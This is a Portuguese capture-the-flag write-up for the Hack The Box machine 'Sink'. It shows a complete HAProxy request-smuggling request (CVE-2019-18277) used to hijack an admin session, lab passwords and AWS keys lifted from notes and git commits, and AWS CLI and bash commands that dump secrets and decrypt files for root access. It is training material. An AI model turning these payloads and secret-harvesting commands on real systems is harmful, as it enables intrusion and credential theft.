HTB Sink Writeup

Nome	Sink
IP	10.10.10.225
Pontos	50
OS	Linux
Nível	Insane

Esta máquina rendeu algumas horas de pesquisa e muita leitura de arquivos, necessitou de bastante paciência e procura de informações.

Vamos ao tralho!

RECON

Nmap

┌──(hastur㉿hastur)-[~/Sink]
└─$ sudo nmap -v -p- -sCV -O -Pn 10.10.10.225 --min-rate=512 
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=9d90f44fb52ce3fa; Path=/; HttpOnly
|     Set-Cookie: _csrf=BfHNd7vcofRu_lA4Ie4IgUXAMHo6MTYzMTgzMzYzNDM1NTUxNTEwOQ; Path=/; Expires=Fri, 17 Sep 2021 23:07:14 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 16 Sep 2021 23:07:14 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|     <meta name="description" content="Gitea (Git with a cup of tea) is a painless
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=65211b52dbf6b99c; Path=/; HttpOnly
|     Set-Cookie: _csrf=vMhSEXnXeTofNKyqQFGBD9B8UY46MTYzMTgzMzY0MDM5NzUxNTM4Nw; Path=/; Expires=Fri, 17 Sep 2021 23:07:20 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 16 Sep 2021 23:07:20 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Page Not Found - Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|_    <meta name="description" content="Gitea (Git with a c
5000/tcp open  http    Gunicorn 20.0.0
| http-methods: 
|_  Supported Methods: OPTIONS POST GET HEAD
|_http-server-header: gunicorn/20.0.0
|_http-title: Sink Devops

O scan com nmap nos trouxe algumas informações interessantes, temos a porta 22-SSH, 3000-HTTP com o título Gitea e 5000-HTTP com o título Sink Devops e server-header gunicorn/20.0.0.

Vamos começar pela porta 5000.

Porta 5000

Encontramos a tela de login da Sink Devops, ainda não temos credenciais, mas existe um link para cadastro, vamos registrar um usuário e tentar login.

Conseguimos logar com sucesso!

Após um bom tempo de enumeração, decidi interceptar uma requisição com o BURP e encontrei algo interessante:

Via: haproxy

Depois de um bom tempo pesquisando, encontrei o CVE-2019-18277 que fala sobre uma vulnerabilidade de request smuggling. O artigo em questão pode ser lido aqui.

Após estudar o artigo, descobri que podemos alterar uma requisição para obter um CSRF, vamos à exploração.

Primeiro eu interceptei com o BURP uma requisição para inserir um comentário e enviei para o Repeater.

Agora altere a requisição para o formato abaixo e com os mesmos _csrf e Cookie mas não mude o seu session cookie.

POST /comment HTTP/1.1
Host: 10.10.10.225:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 357
Origin: http://10.10.10.225:5000
DNT: 1
Connection: keep-alive
Referer: http://10.10.10.225:5000/home
Cookie: lang=zh-CN; i_like_gitea=1e8c376ed33ccd6e; _csrf=bsRZO43k9rTxqa5xKtfSmm747Y86MTYxMjc2MjIxNjA0MTE3MDI2MA; session=eyJlbWFpbCI6Img0MXN0dXJAaDQxc3R1ci5jb20ifQ.YUPQMg.1gIaOZDmrFyg_sGLg3TlV-LTkz8
Upgrade-Insecure-Requests: 1
Transfer-Encoding: Cwo=chunked

5
msg=h
0

POST /comment HTTP/1.1
Host: localhost:5000
Cookie: lang=zh-CN; i_like_gitea=1e8c376ed33ccd6e; _csrf=bsRZO43k9rTxqa5xKtfSmm747Y86MTYxMjc2MjIxNjA0MTE3MDI2MA; session=eyJlbWFpbCI6Img0MXN0dXJAaDQxc3R1ci5jb20ifQ.YUPQMg.1gIaOZDmrFyg_sGLg3TlV-LTkz8
Content-Length: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded

msg=

É importante que habilitemos a opção Show non-printable chars no BURP.

Vários caracteres não printáveis foram mostrados, além deles, podemos ver os caracteres Cwo= em Transfer-Encoding, estes caracteres estão em base64, para descriptá-lo, precisamos selecioná-lo e pressionar Ctrl+Shift+b e a requisição ficará como abaixo:

Agora enviamos a requisição.

Agora podemos recarregar a página e capturar o cookie do admin.

GET /notes/delete/1234 HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept-Encoding: gzip, deflate Accept: */* Cookie: session=eyJlbWFpbCI6ImFkbWluQHNpbmsuaHRiIn0.YUPKYw.hFHfoAVd5-WSHIRdJcpJD5qIQJ4 X-Forwarded-For: 127.0.0.1 

Agora podemos alterar nosso cookie nas opções de desenvolvedor do browser, no caso do Firefox, pressionando F12.

Ao recarregar a página, estamos acessando como admin!!!

Ao navegarmos até Notes, vemos três notas escritas, vamos checar seu conteúdo.

Note (1)

Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz 

Note (2)

Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3 

Note (3)

Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C 

Conseguimos três credenciais!!!

Porém, nenhuma delas funcionou com acesso ssh, nos resta tentar a próxima porta do alvo.

Porta 3000

Temos a tela inicial do Gitea, vamos tentar acesso com as credenciais das notas, como primeira tentativa, vamos utilizar a credencial root:FaH@3L>Z3})zzfQ3.

E conseguimos acesso!!!

Temos um Git com muitos commits. Aqui entra uma observação pessoal: Passei várias horas enumerando os commits até encontrar informações importantes para serem usadas.

Entre os commits, podemos encontrar uma chave id_rsa_marcus em http://10.10.10.225:3000/root/Key_Management/commit/b01a6b7ed372d154ed0bc43a342a5e1203d07b1e.

Vamos salvá-la e tentar um acesso ssh.

┌──(hastur㉿hastur)-[~/Sink]
└─$ vim id_rsa_marcus                                                                                                                                                                                                                    1 ⨯
                                                                                                                                                                                                                                             
┌──(hastur㉿hastur)-[~/Sink]
└─$ chmod 600 id_rsa_marcus 
                                                                                                                                                                                                                                             
┌──(hastur㉿hastur)-[~/Sink]
└─$ ssh marcus@10.10.10.225 -i id_rsa_marcus 

E conseguimos nosso primeiro acesso ao server!!!

A flag user.txt está no diretório do usuário marcus.

marcus@sink:~$ ls -la
total 32
drwxr-xr-x 4 marcus marcus 4096 Jan 27  2021 .
drwxr-xr-x 5 root   root   4096 Dec  2  2020 ..
lrwxrwxrwx 1 marcus marcus    9 Dec  1  2020 .bash_history -> /dev/null
-rw-r--r-- 1 marcus marcus  220 Dec  1  2020 .bash_logout
-rw-r--r-- 1 marcus marcus 3771 Dec  1  2020 .bashrc
drwx------ 2 marcus marcus 4096 Jan 27  2021 .cache
-rw-r--r-- 1 marcus marcus  807 Dec  1  2020 .profile
drwx------ 2 marcus marcus 4096 Dec  2  2020 .ssh
-r-------- 1 marcus marcus   33 Sep 16 22:50 user.txt

Escalação de privilégios

Durante a enumeração na porta 3000, além da chave id_rsa_marcus, também encontrei o commit http://10.10.10.225:3000/root/Log_Management/commit/e8d68917f2570f3695030d0ded25dc95738fb1ba que continha uma key e um secret para uma operação aws.

<?php
require 'vendor/autoload.php';

use Aws\CloudWatchLogs\CloudWatchLogsClient;
use Aws\Exception\AwsException;

$client = new CloudWatchLogsClient([
    'region' => 'eu',
    'endpoint' => 'http://127.0.0.1:4566',
    'credentials' => [
        'key' => 'AKIAIUEN3QWCPSTEITJQ',
        'secret' => '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'
    ],
    'version' => 'latest'
]);
try {
$client->createLogGroup(array(
    'logGroupName' => 'Chef_Events',
));
}
catch (AwsException $e) {
    echo $e->getMessage();
    echo "\n";
}
try {
$client->createLogStream([
    'logGroupName' => 'Chef_Events',
    'logStreamName' => '20201120'
]);
}catch (AwsException $e) {
    echo $e->getMessage();
    echo "\n";
}
?>

O que significa que podemos checar as configurações aws no server.

marcus@sink:~$ aws configure
AWS Access Key ID [None]: AKIAIUEN3QWCPSTEITJQ
AWS Secret Access Key [None]: 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
Default region name [None]: us
Default output format [None]: json

Depois disso, podemos listar os secrets.

marcus@sink:~$ aws --endpoint-url="http://127.0.0.1:4566/" secretsmanager list-secrets

Com as informações obtidas, podemos obter os valores dos secrets.

marcus@sink:~$ aws --endpoint-url="http://127.0.0.1:4566/" secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-HRbzR"

E conseguimos a credencial do usuário david:david:EALB=bcC=`a7f2#k.

Vamos fazer o movimento lateral.

Dentro do diretório do usuário david, encontrei o arquivo servers.enc no diretório /home/david/Projects/Prod_Deployment.

Este arquivo está encriptado, pois é uma criptografia server-side da aws. Para conseguir abrí-lo, precisamos da key correta, novamente utilizaremos as configurações da aws.

david@sink:~/Projects/Prod_Deployment$ aws configure
AWS Access Key ID [None]: AKIAIUEN3QWCPSTEITJQ
AWS Secret Access Key [None]: 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
Default region name [None]: us
Default output format [None]: json

Agora podemos listar as keys.

david@sink:~/Projects/Prod_Deployment$ aws --endpoint-url="http://127.0.0.1:4566/" kms list-keys

Encontramos várias keys, para não tentarmos uma por uma, podemos fazer um script para testar uma de cada vez.

#!/bin/bash

for KEY in $(aws --endpoint-url="http://127.0.0.1:4566/" kms list-keys | grep KeyId | awk -F\" '{ print $4 }')
        do 
                aws --endpoint-url="http://127.0.0.1:4566/" kms enable-key --key-id "${KEY}"
                aws --endpoint-url="http://127.0.0.1:4566/" kms decrypt --key-id "${KEY}" --ciphertext-blob "fileb:///home/david/Projects/Prod_Deployment/servers.enc" --encryption-algorithm "RSAES_OAEP_SHA_256" --output "text" --query "Plaintext"
done

Ao rodar o script, ele tentará decriptar o arquivo.

Agora podemos utilizar o CyberChief para decriptar este base64.

Ao clicarmos em servers.yml, conseguimos as credenciais admin:_uezduQ!EY5AHfe2.

Ao tentar ssh com estas credenciais não obtivemos resposta, porém, como o user é admin, vamos tentar ssh com root.

E conseguimos acesso root!!!

A flag root.txt se encontra no diretório /root.

E comprometemos o server!!

Referências

Vulnerabilidade	Url
HAProxy HTTP request smuggling (CVE-2019-18277)	https://nathandavison.com/blog/haproxy-http-request-smuggling
CyberChef	https://gchq.github.io/CyberChef/

HTB Sink Writeup

RECON

Nmap

Porta 5000

Porta 3000

Escalação de privilégios

Referências

Further Reading

HTB Knife Writeup

HTB Oopsie Writeup

HTB Pikaboo Writeup

Trending Tags